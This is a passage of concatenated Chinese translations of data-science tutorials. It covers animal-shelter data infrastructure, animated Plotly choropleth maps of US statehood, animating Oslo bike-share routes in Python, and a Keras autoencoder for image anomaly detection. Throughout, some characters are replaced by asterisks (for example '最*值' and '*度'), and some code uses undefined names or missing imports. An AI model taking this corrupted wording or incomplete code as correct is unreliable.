现在我们已经清楚了解了 SAC 流程的动机和好处,是时候深入了解 SAC 如何处理数据了。本节对他们的高层次流程进行了说明,并提供了一些关于他们生产的数据制品的详细信息,以满足社区的数据需求。
SAC 数据架构的高层次表示。作者在 SAC 的指导下创建
数据生产
数据由各种动物收容所生成。这些数据通常与收容所的日常运营和所服务的动物相关。每个收容所以自己的方式记录这些数据。有些收容所使用动物收容所软件,而其他收容所可能通过电子表格甚至纸笔方法收集数据。
即使在使用动物收容软件的收容所中,标准化也是具有挑战性的,因为仅在美国,就有超过 20 家不同的收容所软件公司提供各种功能和客户定制。正如你所想象的,这无疑是 SAC 每天需要应对的许多复杂性之一。
在收容所层面,SAC 尝试推广动物级别数据 (ALD) 的收集。这基本上是收集与每只动物相关的所有信息,并赋予一个唯一的animal_id。
收集动物级别数据的推动是 SAC 使用简化过程以在最细粒度级别收集数据的一个例子。更细粒度的数据有助于提高数据质量,并减少数据偏差的可能性。
数据整合
目前,有两种方法将数据从个别动物收容所导入到 SAC 的数据库中。第一种是推送系统,收容所可以在登录后将数据上传到 SAC 门户。这种上传可以通过 CSV 上传或手动输入。
第二种是拉取系统,SAC 正在创建 API 以与收容所软件集成,并自动从同意的收容所中拉取数据。SAC 将其称为“设置即忘记”系统。可以说,这将在动物福利领域带来绝对的改变。
拉取系统或 API 实施为其他需要处理晦涩系统的*型组织提供了关键经验。关键在于尽可能简化数据上传过程,以便非技术用户使用。更重要的是,拉取系统是自动化的,这大大减少了人工错误的余地。
数据存储
一旦数据被加载到 SAC 门户上,它将由一个托管数据库处理,数据被放置到相关的表格中。
目前,SAC *护两个数据库,公众可以根据请求访问。
-
接收与结果数据库 (IOD) 在跟踪动物在收容所系统中的历程中发挥着关键作用。
-
社区服务数据库 (CSD) 支持收容所管理和优化其面向社区的服务,提供超越收容所墙外的动物福利更广泛的视角。
从物理账本和电子表格转向基于云的数据管理系统,可以确保历史数据始终可用,使收容所能够理解趋势并进行复杂的统计分析,以预测未来动物的需求。
数据消费
数据以三种不同的方式被使用。收容所报告在门户网站上创建,为收容所提供有关运营的见解,数据仪表板帮助查看全国动物福利的整体可视化,SAC 还利用收集的数据进行预测,以便更好地准备收容所。目前,Tableau 是首选的商业智能工具。
使用低门槛的商业智能工具来可视化数据是未来在各个收容所建立自助服务能力的基础。自助服务能力将帮助收容所掌握自己的数据,并创建可以作为运营基础的指标。
一个仪表板的例子。来源
Shelter Animals Count 的下一步是什么?
尽管 SAC 已经有了合理的流程,但动物福利系统仍然存在一些关键挑战。举例如下
-
各个收容所常常难以识别关键数据点。例如,一些收容所可能记录详细的医疗历史,而其他收容所可能只记录诸如物种和接收日期等基本信息。
-
各个收容所的数据收集方法存在差异,每个收容所使用不同的软件,这使得标准化变得复杂。
-
确保在各种收容所访问中保持一致的独特动物 ID 是一个重大挑战。一只被领养后再归还的动物,可能会被记录为两个不同的条目,如果没有统一的 ID 系统,将扭曲收容所的接收和结果数据。
SAC 的长期愿景是与全国更多的收容所合作,通过专门的数据整合计划解决上述挑战,并使更多优质数据可供收容所使用,从而拯救更多动物生命。
你想在你的收容所实施分析吗?
如果你是一个动物收容所的成员,或者了解一个可以从 SAC 愿景中受益的收容所,请联系核心团队。
如果你想了解更多关于动物收容所分析的信息,可以查看我关于这一主题的其他文章。
动物收容所分析介绍
towardsdatascience.com ## 清理动物收容所数据的旅程
使用数据拯救动物生命
towardsdatascience.com
感谢阅读!
使用 Plotly Express 动画地图
原文:
towardsdatascience.com/animate-maps-with-plotly-express-d783127afcd0
振兴你的信息图!
·发表于 Towards Data Science ·9 分钟阅读·2023 年 7 月 11 日
--
按年上色的选定州(所有图片均为作者提供,除非另有说明)
动态地图是引起注意和传达信息的绝佳工具。无论你是准备演示文稿的商人、准备信息图的记者,还是准备课堂教学的老师,动画都会提高观众的参与度、注意力和记忆力。即使你不打算展示实时动画,这个功能对于在不同时间框架中准备静态展示仍然很有用。
在这个 快速成功的数据科学 项目中,我们将使用 Python、pandas 和 Plotly Express 来可视化美国的演变。具体来说,我们将使用 choropleth maps 来按天、按年以及在更大的时间范围内动画展示美国各州加入联邦的过程。
代码
以下代码是在 Jupyter Lab 中编写的,并以 单元格 形式呈现。
安装和导入库
Plotly Express 是 Plotly 图形库的高级版本,需要 Plotly 作为依赖。你可以通过 conda 或 pip 安装它。
这是 conda 安装命令:
conda install -c plotly plotly_express
这是 pip 版本:
pip install plotly
要安装 pandas 数据分析包,可以使用以下命令之一:
conda install pandas
或者:
pip install pandas
我们还需要 NumPy(数值 Python)库。你不需要直接安装它,因为它已包含在 pandas 中。
这是导入部分。我们使用了别名以方便输入:
import numpy as np
import pandas as pd
import plotly.express as px
加载和准备数据
为方便起见,我创建了所需数据的 CSV 文件,并将其存储在这个Gist中。该文件包括州名、官方缩写、加入联邦的日期以及加入顺序。文件按日期升序排序。我们将其加载为 pandas DataFrame,因为 Plotly Express 与 pandas 兼容性很好。
除了天,我们还希望使用年份对数据进行动画处理。这将使我们更容易识别在同一年加入联邦的州。为此,我们将创建一个新的 DataFrame 列,命名为Year
,并将其转换为整数类型。
# Load the statehood data and prepare a "Year" column:
df = pd.read_csv('https://bit.ly/44qtTyk')
df['Year'] = df['date_entered'].str[-4:].astype('int')
df.head(3)
DataFrame 的头部(所有图片由作者提供,除非另有说明)
按加入日期着色的静态 Choropleth 地图
在 Plotly Express 中创建 choropleth 地图非常简单。只需调用内置的[choropleth()](https://plotly.com/python/choropleth-maps/)
方法。
第一个参数是我们想要动画的 DataFrame。之后,我们只需引用 DataFrame 中的列。
Plotly Express 还附带一些内置的地理空间数据集。要选择适用于美国各州的数据集,我们将使用scope
、locationmode
和locations
参数。abbr
参数与locations
参数一起使用,表示州的官方缩写,例如纽约的 NY 和德州的 TX。
颜色方面,我选择了Portland
颜色尺度。如果你想尝试其他选项,请访问 Plotly 的文档查看可用的选项。
专业提示:要反转 Plotly 颜色条,请在其名称末尾附加“_r”。
# Plot the DataFrame as a static map:
fig = px.choropleth(df,
locations='abbr',
locationmode='USA-states',
color='Year',
color_continuous_scale=px.colors.diverging.Portland,
scope='usa',
hover_data=['state', 'order', 'Year'],
title='States by Date of Entry into Union')
fig.update_layout(width=750, height=500)
具有活动悬停窗口的科罗拉多州静态地图。
生成的地图目前是静态的(非动画),但它具有许多交互功能。你可以将光标悬停在一个州上,查看其元数据的弹出窗口。右上角的工具栏允许执行截屏、缩放、平移、框选和重置为“主页”屏幕等操作。
尽管具有所有这些功能,但地图看起来有些乏味。让我们通过添加动画来为它增添一些活力。
按加入年份进行动画
你可以通过一个额外的参数animation_frame
为之前的地图添加动画。在这里,我们使用data_entered
列进行动画,该列捕捉了州加入联邦的日期。
为确保颜色条包含数据的最*值和最大值,我们需要为range_color
参数包含一个参数。否则,比例将默认显示当前活跃状态的值。这次,我选择了Earth
颜色条,因为它具有古老的“历史”外观。
# Plot the Dataframe as an animation showing each state in order of admission:
fig = px.choropleth(df,
locations='abbr',
locationmode='USA-states',
color='Year',
color_continuous_scale=px.colors.diverging.Earth,
scope='usa',
hover_data=['state', 'order'],
animation_frame='date_entered',
range_color= (min(df.Year), max(df.Year)),
title='The Date Each State Entered the Union')
fig.update_layout(width=750, height=500)
根据州成立日期进行动画的地图
要运行动画,可以按播放按钮或使用滑块。一次只会显示一个州。有趣的是,州的进入并不是按东到西的逻辑顺序,而是经常在南北和东西之间“跳跃”。
按进入年份动画
要查看在给定年份进入联盟的所有州,只需将 animation_frame
参数更改为 Year
列。
# Animate the states grouped by year of admission:
fig = px.choropleth(df,
locations='abbr',
locationmode='USA-states',
color='Year',
color_continuous_scale=px.colors.diverging.Earth,
scope='usa',
hover_data=['state', 'order'],
animation_frame='Year',
range_color= (min(df.Year), max(df.Year)))
fig.update_layout(width=750, height=500)
按年份动画
动画化的大时间跨度的州
尽管按州的入驻日期或年份进行动画化很有趣,但很难获得整体视图。在以下示例中,我们将州按四个重要时间跨度进行汇总:
-
十三个原始殖民地进入联盟时
-
扩展至内战前的后续扩展
-
开拓荒野
-
20 世纪
为了在这些时间跨度上对州进行分组,我们将使用 NumPy 的 select()
方法在数据框中创建新列。这需要三个步骤:
-
使用日期范围创建新列的条件列表,
-
为每个条件创建新列的值列表,
-
通过调用
np.select()
方法并传递前两个步骤中的列表来创建新列。
我们将新列命名为 Timespan
。要用于动画,请将 animation_frame
参数更改为 Timespan
。
# Animate the states grouped by large timeframes:
conditions = [(df['Year'] >= 1787) & (df['Year'] <= 1790),
(df['Year'] >= 1791) & (df['Year'] <= 1860),
(df['Year'] >= 1861) & (df['Year'] <= 1900),
(df['Year'] >= 1901) & (df['Year'] <= 1959)]
values = ['Original 13 Colonies', 'Antebellum Expansion',
'Westward Expansion', 'Twentieth Century']
df['Timespan'] = np.select(conditions, values)
# Animate the states grouped by year of admission:
fig = px.choropleth(df,
locations='abbr',
locationmode="USA-states",
color='Year',
color_continuous_scale=px.colors.diverging.Earth,
scope="usa",
hover_data=['state', 'order'],
animation_frame='Timespan',
range_color= (min(df.Year), max(df.Year)))
fig.update_layout(width=750, height=500)
# Set the animation speed (in millseconds):
fig.layout.updatemenus[0].buttons[0].args[1]["frame"]["duration"] = 2000
fig.show()
按时间跨度动画
请注意,我们在最后一行更改了动画的速度(以毫秒为单位)。如果你觉得之前的动画太快,可以使用这段代码。
制作静态信息图
如果你想将结果作为静态图像保存,例如,用于制作手册,该怎么办?
对于像这样的任务,我喜欢通过复制和编辑主数据框,然后循环遍历这些副本来绘制地图,这样可以更好地控制图形标题和颜色条范围。
为了确保颜色条包括每个时间段的终端成员,我们将提供四个列表,指定我们希望看到标注的日期。
# Make static maps of the states grouped over large timeframes:
# Create new DataFrames for designated time spans
original_13 = df[(df['Year'] >= 1787) & (df['Year'] <= 1790)].copy()
antebellum_expansion = df[(df['Year'] >= 1791) & (df['Year'] <= 1860)].copy()
western_expansion = df[(df['Year'] >= 1861) & (df['Year'] <= 1900)].copy()
twentieth_century = df[(df['Year'] >= 1901) & (df['Year'] <= 1959)].copy()
# Make a list of DataFrames to loop through
time_frames = [original_13, antebellum_expansion,
western_expansion, twentieth_century]
# Make a list of the dates you want to see in the color bar
colorbar_dates = [[1787, 1788, 1789, 1790],
[1791, 1800, 1810, 1820, 1830, 1840, 1850, 1859],
[1861, 1870, 1880, 1890, 1896],
[1907, 1920, 1930, 1940, 1950, 1959]]
# Make a list of the figure titles for each DataFrame
figure_titles = ["Original 13 Colonies (1787-1790)",
"Antebellum Expansion (1791-1860)",
"Western Expansion (1861-1900)",
"Twentieth Century (1901-1959)"]
# Loop through and plot the DataFrames
for i, data_frame in enumerate(time_frames):
fig = px.choropleth(data_frame,
locations='abbr',
locationmode="USA-states",
color='Year',
color_continuous_scale=px.colors.diverging.Earth,
scope="usa",
hover_data=['state', 'order'],
range_color=(min(data_frame['Year']),
max(data_frame['Year'])),
title=figure_titles[i])
fig.update_layout(width=750, height=500)
fig.update_layout(coloraxis_colorbar=dict(tickvals=colorbar_dates[i],
ticks='outside',
thickness=15))
fig.show()
原始 13 个殖民地的静态地图,根据进入年份进行着色
进入联盟前的扩展时期州的静态地图,根据进入年份进行着色
向西扩展时期州的静态地图,根据进入年份进行着色
20 世纪各时期的静态地图,根据进入年份进行着色
带有持久性的静态地图
我们仍然没有得到(真正的)整体视图。如果能够看到在某一特定日期联盟中的所有州,那就太好了。
以下单元格中的代码“逐渐构建”地图。之前时间段添加的州仍然在地图上可见,这样最后的地图会显示所有的联盟州。
为了实现这一目标,我们需要重新过滤主数据框,以确保保留的最*值始终为 1787 年。我们还需要一个更适合这种新可视化的dates
列表。
# Make static maps of the states grouped over large timeframes, with persistence:
# Create new DataFrames for designated time spans
original_13 = df[(df['Year'] >= 1787) & (df['Year'] <= 1790)].copy()
antebellum_expansion = df[(df['Year'] >= 1787) & (df['Year'] <= 1860)].copy()
western_expansion = df[(df['Year'] >= 1787) & (df['Year'] <= 1900)].copy()
twentieth_century = df[(df['Year'] >= 1787) & (df['Year'] <= 1959)].copy()
# Make a list of DataFrames to loop through
time_frames = [original_13, antebellum_expansion,
western_expansion, twentieth_century]
# Make a list of the dates you want to see in the color bar:
colorbar_dates = [1787, 1790, 1800, 1820, 1840, 1859,
1880, 1896, 1910, 1920, 1940, 1959]
# Make a list of the figure titles for each DataFrame
figure_titles = ["States through 1790",
"States through 1860",
"States through 1900",
"States through 1959"]
# Loop through and plot the DataFrames
for i, data_frame in enumerate(time_frames):
fig = px.choropleth(data_frame,
locations='abbr',
locationmode="USA-states",
color='Year',
color_continuous_scale=px.colors.diverging.Earth,
scope="usa",
hover_data=['state', 'order'],
range_color=(min(data_frame['Year']),
max(data_frame['Year'])),
title=figure_titles[i])
fig.update_layout(width=750, height=500)
fig.update_layout(coloraxis_colorbar=dict(tickvals=colorbar_dates,
ticks='outside',
thickness=15))
fig.show()
显示 1787-1860 年间加入联邦的州的持久地图示例
为了简洁起见,我仅展示了前一个单元生成的四张地图中的一张。
摘要
只需一个参数,Plotly Express 就可以将美丽的静态地图转换为美丽的动态地图。除了富有吸引力外,这些动画地图还使得发现数据集中的异常值变得容易。例如,尽管我是一名美国人且对历史相当了解,但我还是很惊讶地发现:
-
特拉华州是第一个批准宪法的州,因此也是联邦中的第一个州(谁知道呢?)。
-
缅因州,尽管是新英格兰的一部分,却是相对较晚加入的州。
-
俄克拉荷马州直到 20 世纪才成为一个州。
-
亚利桑那州和新墨西哥州直到 1912 年才成为州,尽管它们是 1848 年墨西哥割让的一部分。
其他值得探索的数据集包括按美国内战期间脱离联邦顺序排列的州,按人口排列的州,或按选举团票数排列的州。
如果你想使用 Plotly Express 为其他国家构建动画染色地图,这里有一个为加拿大省份构建的示例。省份多边形使用Geojson文件构建。
谢谢!
感谢阅读,请关注我以获取未来更多的快速成功数据科学项目。
用 Python 动画化空间移动
原文:
towardsdatascience.com/animating-spatial-movement-in-python-ccf4e9462a0f
如何将起点-终点矩阵转化为迷人的动画
·发布于 Towards Data Science ·阅读时间 6 分钟·2023 年 11 月 23 日
--
自行车共享数据的移动静态地图。图片由作者提供。
空间数据本质上是可视化的,Python 在可视化(地理)空间数据方面的进步使得快速绘制各种形状和形式的地图变得非常简单。甚至创建图表和简单地图的动画也是相对容易的。特别是 Choropleth 地图,具有静态多边形和变化的颜色,已经有现成的函数来完成这项工作。
但当涉及到移动数据和动画化线路时,这项任务就显得有些繁琐。在这里,我将尝试给出一个示例,展示我如何在 Python 中解决空间移动数据动画化的问题。
初始数据
首先,我们需要一些带有时间戳的(线型)数据;在这个例子中,我将使用来自挪威奥斯陆的自行车共享系统的数据。这些数据在挪威开放政府数据许可证 (NLOD) 2.0/开放政府许可证下公开提供,可以从Oslo Bysykkel的主页获取。
import geopandas as gpd
import pandas as pd
# Import data from csv
data = pd.read_csv("https://data.urbansharing.com/oslobysykkel.no/trips/v1/2023/10.csv")
data = data[['started_at','ended_at','duration', 'start_station_latitude', 'start_station_longitude','end_station_latitude', 'end_station_longitude']]
# Subset the data to only one day
data['start_day'] = data['started_at'].apply(lambda x: int(x[8:11]))
data = data[data["start_day"]==day]
data
初始数据集的前五行。图片由作者提供。
由于数据包括旅行的起点和终点,我们需要在这些点之间创建一条线,为此我们可以使用 NetworkX 中 Dijkstra 算法的实现。
创建移动线路
在我们可以创建移动线路之前,我们需要一个街道网络,以便进行最短路径计算。通过 osmnx
,我们可以从 OpenStreetMap 获取我们感兴趣区域的自行车网络。我们将使用自行车旅行数据的范围作为我们的研究区域。
import osmnx as ox
# Create a GeoDataFrame from the stations
initial_data = gpd.GeoDataFrame(data, geometry=gpd.points_from_xy(data['start_station_longitude'],data['start_station_latitude']),crs="EPSG:4326")
# Get the total bounds
total_bounds = initial_data.total_bounds
# Create a list for the polygon
bounding_box = [[total_bounds[0],total_bounds[3]], [total_bounds[0],total_bounds[1]], [total_bounds[2],total_bounds[1]], [total_bounds[2],total_bounds[3]]]
# Create the polygon
bounding_box_polygon = Polygon(bounding_box)
# Buffer the polygon to include roads just outside of the stations
graph_extent = bounding_box_polygon.buffer(0.02)
# Create the graph
area_graph = ox.graph_from_polygon(graph_extent, network_type='bike')
nodes, edges = ox.graph_to_gdfs(area_graph)
要使用 Dijkstra 算法计算最短路径,我们可以创建一个函数,并将其应用于我们的数据框:
import networkx as nx
from shapely import ops
def calculate_shortest_path(start_point,end_point, graph):
# Find the nearest node to the start and end points
start_node = ox.distance.nearest_nodes(graph, X=start_point.x, Y=start_point.y)
end_node = ox.distance.nearest_nodes(graph, X=end_point.x, Y=end_point.y)
# Calculate the shortest path
path = nx.dijkstra_path(graph, source=start_node, target=end_node, weight='length')
# Convert the network path to a LineString
geoms = [edges.loc[(u, v, 0), 'geometry'] for u, v in zip(path[:-1], path[1:])]
route_lineString = MultiLineString(geoms)
route_lineString = ops.linemerge(route_lineString)
return route_lineString
我们现在可以将函数应用于数据框。为此,我们创建 Shapely 点作为起点和终点,然后在函数中使用这些点来计算它们之间的路径:
data['start_point'] = data.apply(lambda row: Point(row['start_station_longitude'],row['start_station_latitude']), axis=1)
data['end_point'] = data.apply(lambda row: Point(row['end_station_longitude'],row['end_station_latitude']), axis=1)
data['shortest_path'] = data.apply(lambda row: calculate_shortest_path(row['start_point'],row['end_point'],area_graph), axis=1)
print(data.head())
数据集现在具有最短路径。作者图片。
在开始将行拆分为路径上的点之前,我们可以准备时间数据,以便在最终动画中美观地显示:
from datetime import datetime
data['started_at'] = data['started_at'].apply(lambda x: datetime.strptime(x[0:19], "%Y-%m-%d %H:%M:%S"))
data['ended_at'] = data['ended_at'].apply(lambda x: datetime.strptime(x[0:19], "%Y-%m-%d %H:%M:%S"))
计算出的最短路径中的一行。作者图片。
拆分行
现在我们有了移动线路,目的是在这条线路上以固定的间隔创建一个点,以便根据时间顺序绘制这些点。
以下line_to_points()
函数遍历数据框中的每一行,并根据自行车旅行的持续时间将行拆分为段。在这个例子中,每行在 15 秒后被拆分,并在该位置创建一个点。
def line_to_points(df):
# Create a dataframe for our points
point_df = pd.DataFrame(columns=['x','y','time','dateminute','size'])
# Iterate over the line data
for idx, line in df.iterrows():
start_x = line['shortest_path'].coords.xy[0][0]
start_y = line['shortest_path'].coords.xy[1][0]
# Create number of sections based on duration of trip
delta = line['ended_at']-line['started_at']
sections = line['duration']/15
time_gap = delta/sections
# Create initial point
point_time = line['started_at']
size = 10
# Create timestamp
dateminute = int(str(line['started_at'].year)+str(line['started_at'].month).zfill(2)+str(line['started_at'].day).zfill(2)+str(line['started_at'].hour).zfill(2)+str(line['started_at'].minute).zfill(2))
append_list = [start_x,start_y,point_time.strftime("%Y-%m-%d %H:%M:%S"),dateminute,size]
point_series = pd.Series(append_list,index=point_df.columns)
point_df = point_df.append(point_series, ignore_index=True)
# Iterate over rest of the sections, size relative to time
i = 1
while i <=sections:
size = 50
point_time += time_gap
this_section = i/sections
new_point = line['shortest_path'].interpolate(this_section, normalized=True)
dateminute = int(str(point_time.year)+str(point_time.month).zfill(2)+str(point_time.day).zfill(2)+str(point_time.hour).zfill(2)+str(point_time.minute).zfill(2))
if i == (sections-1):
size = 30
if i == 1:
size = 30
if i == (sections):
size = 10
point_series = pd.Series([new_point.x,new_point.y,point_time.strftime("%Y-%m-%d %H:%M:%S"),dateminute,size],index=point_df.columns)
point_df = point_df.append(point_series, ignore_index=True)
i+=1
return point_df
使用line_to_points()
函数,我们创建一个新的数据框,只包含我们希望用时间戳动画化的点,我们可以在绘图时迭代这些点。
# Create a GeoDataFrame from the paths
paths_gdf = gpd.GeoDataFrame(data, geometry='shortest_path', crs="EPSG:4326")
paths_gdf = paths_gdf[~paths_gdf.is_empty]
result = line_to_points(paths_gdf)
行转换为带时间戳的点。作者图片。
动画化移动
为了能够绘制新的点数据,我们创建一个地理数据框,其中包含时间戳、点的大*和每个点的坐标。
# Create geodataframe
gdf = gpd.GeoDataFrame(result, geometry=gpd.points_from_xy(result['x'], result['y']))
gdf['size'] = gdf['size'].astype(float)
gdf.crs = "EPSG:4326"
gdf = gdf.to_crs(epsg=4326)
# Get list of timestamps
times = list(gdf['dateminute'].unique())
times.sort()
这里的核心目标是为新地理数据框中的每个时间戳创建一个图,然后将所有这些图合并为一个 GIF 动画。为此,我们创建一个函数,该函数将绘制地理数据框中的单行,同时用*点大*绘制所有先前的行。这样,我们就能看到当前时间的大点,同时还能够看到先前的点,给人一种直观的路径感。
import matplotlib
import matplotlib.pyplot as plt
import contextily as ctx
def plot_minute(minute):
# Set up the plot parameter
matplotlib.rcParams.update({'font.size': 16})
fig, ax = plt.subplots(ncols = 1, figsize=(32,20))
# Plot all rows before the current minute
old_minutes = gdf[gdf['dateminute'] < minute]
old_minutes.to_crs(epsg=4326).plot(ax=ax, color='#1DA1F2',markersize=5, edgecolor=None, linewidth=0, alpha=0.4) # 2 - Projected plot
# Select and plot the current minute
minute_gdf = gdf[gdf['dateminute'] == minute]
minute_gdf.to_crs(epsg=4326).plot(ax=ax, color='#1DA1F2',markersize=minute_gdf['size'], edgecolor=None, linewidth=0.3, alpha=0.8) # 2 - Projected plot
# Set common boundaries for the plot
xlim = ([stations_gdf.total_bounds[0], stations_gdf.total_bounds[2]])
ylim = ([stations_gdf.total_bounds[1], stations_gdf.total_bounds[3]])
ax.set_xlim(xlim)
ax.set_ylim(ylim)
# Set time variables
mi = str(minute)[-2:]
h = str(minute)[-4:-2]
#d = str(minute)[-4:-2]
m = str(minute)[4:6]
y = str(minute)[:4]
# Add a basemap
ctx.add_basemap(ax,crs=minute_gdf.crs.to_string(), source=ctx.providers.CartoDB.DarkMatter)
ax.set_axis_off()
# Create text
ax.text(.5,.9,f'{h}:{mi} - {day}/{m}/{y}',
horizontalalignment='center',color='white',
transform=ax.transAxes,size=18)
plt.tight_layout()
# Save plot to file
plt.savefig(f'animation/{minute}.png',transparent=True, dpi=100)
plt.close()
我们现在可以使用之前创建的时间戳列表times
,并遍历每个时间戳,运行plot_minute()
函数为我们拥有的每个时间戳数据制作地图。
for timestamp in times:
plot_minute(timestamp)
单分钟绘制的地图之一。作者图片。
转换为 GIF
对所有时间戳运行plot_minute()
的结果是,我们现在有一个充满.png 地图的文件夹。动画化一系列 png 有几种方法,在基于 UNIX 的系统上,你可以在 bash 中运行convert
程序。根据绘图设置的参数,png 和动画本身的结果文件大*可能会非常大,因此可能需要调整大*以减少文件大*。
convert -resize 20% -delay 5 -loop 0 animation/*.png animation.gif
现在我们可以查看最终结果:
结论
在这篇文章中,我向你展示了一种将移动点数据集转化为基于最短路径算法的动画地图的方法,使用了几个常见的 Python 库。
这个解决方案适用于任何具有配套网络的起始-目的地矩阵,并且许多城市的自行车共享数据是可以获取的。希望它能激励你去探索其他城市的自行车共享模式和城市结构!
使用自动编码器方法在 TensorFlow 和 Keras 中进行异常检测
图片由Leiada Krozjhen拍摄,来源于Unsplash
一种前沿的无监督方法,用于去噪、降*、异常检测等
·发表于Towards Data Science ·阅读时间 7 分钟·2023 年 9 月 23 日
--
直到现在,我分享的所有关于 TensorFlow 和神经网络的教程都是关于有监督学习的。这一次将介绍自动编码器,它是一种无监督学习技术。简单来说,自动编码器通过压缩输入数据来减少噪声,并对数据进行编码和重建。这样,自动编码器可以减少数据的*度或噪声,专注于输入数据的实际重点。
如你所见,自动编码器介绍中涉及的不止一个过程。
-
首先,构建一个压缩输入数据的模型,即编码器模型。
-
然后另一个模型用于重建压缩数据,这个模型是解码器模型,它应该尽可能接近输入数据。
在这个过程中,它可以去除噪声、减少*度,并清理输入数据。
在本教程中,我将详细解释自动编码器的工作原理,并提供一个实际示例。
对于这个示例,我选择使用一个名为 deep_weeds 的公开数据集(Apache 许可证 2.0)。
import tensorflow as tf
import tensorflow_datasets as tfds
ds = tfds.load('deep_weeds', split='train', shuffle_files=True)
数据准备
我们需要为这个无监督异常检测示例准备一个数据集。只有一个类别将被视为我们的主类别,即有效类别。我会从另一个类别中添加一些数据作为异常。然后我们将开发模型,看看能否找出这些少量的异常数据。
我选择了类别 5 作为有效类别,类别 1 作为异常类别。在下面的代码块中,我首先获取类别 5 和类别 1 的所有数据,并创建图像及其对应标签的列表。
import numpy as np
images_main = []
images_anomaly = []
labels_main= []
labels_anomaly = []
ds = ds.prefetch(tf.data.AUTOTUNE)
for example in ds:
#print(np.array(example['label']))
if np.array(example['label']) == 5:
images_main.append(example["image"])
labels_main.append(example["label"])
if np.array(example['label']) == 1:
images_anomaly.append(example["image"])
labels_anomaly.append(example["label"])
让我们看看这里主图像(类别 5 图像)的形状:
np.array(images_main).shape
输出:
(1009, 256, 256, 3)
图像的形状是 (256, 256, 3),我们有总共 1009 张属于类别 5 的数据。
但是,我们不需要类别 1 的所有数据。因为类别 1 是异常类别。所以,只有 1% 的类别 1 数据会被用于训练。
parc = round(len(labels_anomaly) * 0.01)
images_anomaly = np.array(images_anomaly)[:parc]
# stacking the main images and anomaly images together
total_images = np.vstack([images_main, images_anomaly])
总图像的形状:
total_images.shape
输出:
(1020, 256, 256, 3)
我们共有 1020 张用于训练的图像。如前所述,我们有 1009 张类别 5 的图像,我们取了 1020–1009 = 11 张类别 1 的图像,这些是我们的异常图像。
让我们看看是否可以在 Keras 和 TensorFlow 中开发一个自动编码器模型来检测这些异常。
模型开发
这是有趣的部分!但首先,我们应该进行必要的导入:
# import the necessary packages
from tensorflow.keras.layers import BatchNormalization
from tensorflow.keras.layers import Conv2D
from tensorflow.keras.layers import Conv2DTranspose
from tensorflow.keras.layers import LeakyReLU
from tensorflow.keras.layers import Activation
from tensorflow.keras.layers import Flatten
from tensorflow.keras.layers import Dense
from tensorflow.keras.layers import Reshape
from tensorflow.keras.layers import Input
from tensorflow.keras.models import Model
from tensorflow.keras import backend as K
from tensorflow.keras.optimizers import Adam
from tensorflow.keras.datasets import mnist
from tensorflow.keras.models import load_model
from sklearn.model_selection import train_test_split
import matplotlib.pyplot as plt
import numpy as np
import random
import cv2
一些数据应该单独保留用于测试目的。可以使用 sklearn 库中的 train_test_split 方法来实现。记住,由于这是无监督学习方法,标签不是必需的。我们将仅分割图像。
(train_x, test_x) = train_test_split(total_images, test_size=0.2, random_state=0)
最后,自动编码器模型。我们将构建一个 Convolution_Autoencoder 类,这是一种卷积神经网络。该类具有 build 方法,在此方法中我们将定义 Autoencoder 模型。
‘build’ 方法接受宽度、深度、高度、滤波器和 latentDim 作为参数。在这里,宽度、深度和高度是图像的*度,对于我们来说是 (256, 256, 3),正如我们在上面的 total_images.shape 方法中看到的。
参数‘filters’是卷积层的滤波器。
‘latentDim’ 是我们在编码器方法后压缩层的大*。
在这个 build 方法中,第一部分是一个简单的卷积神经网络(CNN)作为编码器模型。
一旦编码器部分完成后,将使用 Conv2DTranspose 层开发解码器模型,以再次重建数据。
然后,我们构建自动编码器模型,这实际上是编码器和解码器模型的组合。
最后,我们返回编码器、解码器和自动编码器模型。
class Convolution_Autoencoder:
@staticmethod
def build(width, height, depth, filters=(16, 32, 64), latentDim=32):
input_shape = (height, width, depth)
chanDim = -1
inputs = Input(shape=input_shape)
x = inputs
for f in filters:
x = Conv2D(f, (3, 3), strides = 2, padding="same")(x)
x = LeakyReLU(alpha=0.3)(x)
x = BatchNormalization(axis=chanDim)(x)
volume = K.int_shape(x)
x = Flatten()(x)
latent = Dense(latentDim)(x)
#encoder model
encoder = Model(inputs, latent, name="encoder")
#compressed representation
latent_layer_input = Input(shape=(latentDim,))
x = Dense(np.prod(volume[1:]))(latent_layer_input)
x = Reshape((volume[1], volume[2], volume[3]))(x)
#Recostructing the image with a decoder model
for f in filters[::-1]:
x = Conv2DTranspose(f, (3, 3), strides=2, padding="same")(x)
x = LeakyReLU(alpha=0.3)(x)
x = BatchNormalization(axis=chanDim)(x)
x = Conv2DTranspose(depth, (3, 3), padding="same")(x)
outputs = Activation("sigmoid")(x)
decoder = Model(latent_layer_input, outputs, name="decoder")
autoencoder = Model(inputs, decoder(encoder(inputs)), name="autoencoder")
return (encoder, decoder, autoencoder)
模型开发完成了。现在是运行模型并查看其是否有效的时候了。它应该像任何其他 TensorFlow 模型一样运行。
在这里,我们将首先使用 Adam 优化器编译模型。同时,我在学习率中使用了衰减,并将“mse”作为损失函数。
epochs = 50
lr_start = 0.001
batchSize = 32
(encoder, decoder, autoencoder) = Convolution_Autoencoder.build(256, 256, 3)
opt = tf.keras.optimizers.legacy.Adam(lr = lr_start, decay = lr_start / epochs)
autoencoder.compile(loss = "mse", optimizer = opt)
最后,运行模型。记住,这是一种无监督学习方法。所以在模型训练中不会有任何标签。相反,我们需要传递两个训练特征,即 train_x 两次。如果你注意到 Convolution_Autoencoder 类中的 build 方法,autoencoder 看起来像这样:
autoencoder = Model(inputs, decoder(encoder(inputs)), name="autoencoder")
在上面的模型中,我们需要首先传入 train_x 作为输入,然后是 decoder(encoder(inputs)),其中我们需要再次传入 train_x。测试数据 test_x 也是如此。
在你开始模型训练之前,我应该警告你,在 Google Colab 的默认设置下,它非常慢。你可以通过在 GPU 上运行来显著提高速度。在运行之前,请更改你的 Google Colab 笔记本设置。
history = autoencoder.fit(
train_x, train_x,
validation_data=(test_x, test_x),
epochs=30,
batch_size=batchSize)
输出:
Epoch 1/30
26/26 [==============================] - 15s 157ms/step - loss: 12963.2842 - val_loss: 13428.3906
Epoch 2/30
26/26 [==============================] - 2s 87ms/step - loss: 12924.1787 - val_loss: 13392.3418
Epoch 3/30
26/26 [==============================] - 2s 88ms/step - loss: 12911.4551 - val_loss: 13401.3350
Epoch 4/30
26/26 [==============================] - 2s 92ms/step - loss: 12905.8975 - val_loss: 13344.5596
...
...
Epoch 27/30
26/26 [==============================] - 2s 89ms/step - loss: 12890.9102 - val_loss: 13322.1299
Epoch 28/30
26/26 [==============================] - 2s 89ms/step - loss: 12890.8701 - val_loss: 13322.0820
Epoch 29/30
